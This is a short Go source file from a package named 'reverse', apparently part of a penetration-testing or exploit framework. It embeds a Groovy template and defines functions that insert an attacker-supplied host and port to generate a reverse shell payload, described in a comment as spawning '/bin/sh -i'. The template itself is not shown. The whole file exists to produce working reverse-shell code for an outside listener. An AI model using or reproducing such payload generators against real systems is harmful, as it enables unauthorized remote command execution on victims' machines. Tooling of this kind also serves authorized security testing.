package reverse

import (
	_ "embed"
	"fmt"
	"strings"
)

var (
	//go:embed groovy/classic.groovy
	GroovyClassic string
	GroovyDefault = GroovyClassic
)

func (groovy *GroovyPayload) Default(lhost string, lport int) string {
	return strings.Trim(groovy.GroovyClassic(lhost, lport), "\r\n")
}

// A short payload that creates a reverse shell using /bin/sh -i.
func (groovy *GroovyPayload) GroovyClassic(lhost string, lport int) string {
	return strings.Trim(fmt.Sprintf(GroovyClassic, lhost, lport), "\r\n")
}
